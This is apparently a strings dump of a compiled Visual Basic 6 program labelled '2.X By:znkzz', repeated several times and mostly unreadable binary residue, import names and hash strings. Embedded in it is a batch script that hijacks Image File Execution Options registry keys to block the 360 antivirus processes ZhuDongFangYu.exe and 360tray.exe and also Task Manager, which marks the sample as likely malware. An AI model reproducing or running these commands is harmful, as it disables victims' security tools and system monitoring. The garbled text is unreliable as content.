S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
A54271D3E3C0AE4E2FA1CD08057AFF28
E4B3EA20C9F829B0C0B163E699DDB25E
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
